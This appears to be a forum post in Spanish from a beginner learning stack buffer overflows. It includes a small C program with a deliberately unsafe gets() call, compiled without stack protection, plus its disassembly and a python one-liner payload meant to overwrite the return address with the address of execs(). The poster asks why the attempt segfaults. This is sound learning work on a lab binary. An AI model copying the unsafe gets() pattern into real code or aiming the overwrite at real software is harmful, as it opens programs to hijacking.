Soy nuevo en las explotaciones de desbordamiento de búfer y comencé con un programa en C simple. Mi programa es el siguiente:
#include <stdio.h>
#include <strings.h>
void execs(void){
printf("yay!!");
}
void return_input (void)
{
char array[30];
gets(array);
}
int main()
{
return_input();
return 0;
}
Compilé el programa anterior con cc deshabilitando stack protector como:
cc test.c -o test -fno-stack-protector
El volcado del archivo elf que usa objdump es el siguiente:
0804843b <execs>:
804843b: 55 push %ebp
804843c: 89 e5 mov %esp,%ebp
804843e: 83 ec 08 sub $0x8,%esp
8048441: 83 ec 0c sub $0xc,%esp
8048444: 68 10 85 04 08 push $0x8048510
8048449: e8 b2 fe ff ff call 8048300 <printf@plt>
804844e: 83 c4 10 add $0x10,%esp
8048451: 90 nop
8048452: c9 leave
8048453: c3 ret
08048454 <return_input>:
8048454: 55 push %ebp
8048455: 89 e5 mov %esp,%ebp
8048457: 83 ec 28 sub $0x28,%esp
804845a: 83 ec 0c sub $0xc,%esp
804845d: 8d 45 da lea -0x26(%ebp),%eax
8048460: 50 push %eax
8048461: e8 aa fe ff ff call 8048310 <gets@plt>
8048466: 83 c4 10 add $0x10,%esp
8048469: 90 nop
804846a: c9 leave
804846b: c3 ret
0804846c <main>:
804846c: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048470: 83 e4 f0 and $0xfffffff0,%esp
8048473: ff 71 fc pushl -0x4(%ecx)
8048476: 55 push %ebp
8048477: 89 e5 mov %esp,%ebp
8048479: 51 push %ecx
804847a: 83 ec 04 sub $0x4,%esp
804847d: e8 d2 ff ff ff call 8048454 <return_input>
8048482: b8 00 00 00 00 mov $0x0,%eax
8048487: 83 c4 04 add $0x4,%esp
804848a: 59 pop %ecx
804848b: 5d pop %ebp
804848c: 8d 61 fc lea -0x4(%ecx),%esp
804848f: c3 ret
Por lo tanto, para explotar el búfer ( array ), necesitamos encontrar el número de bytes asignados en el marco de pila return_input que al ver el volcado,
lea -0x26(%ebp),%eax
es 0x26 en hexadecimal o aproximadamente 38 en decimal. Por lo tanto, dando entrada como:
38 + 4 (caracteres aleatorios) + (retorno de los ejecutivos)
ejecutaría la función execs . Utilicé lo siguiente:
python -c 'print "a"*42+"\x3b\x84\x04\x08"' | ./test
Pero la salida fue:
Fallo de segmentación (núcleo volcado)
Cuando abrí el core (archivo de volcado del núcleo) usando gdb , pude encontrar un error de segmentación al ejecutar en la siguiente dirección:
0xb76f2300
Versión de Ubuntu: 16.10
Versión del kernel: 4.8.0-46-genérico
¿Qué estaba haciendo mal? Por favor ayúdame.
Gracias.
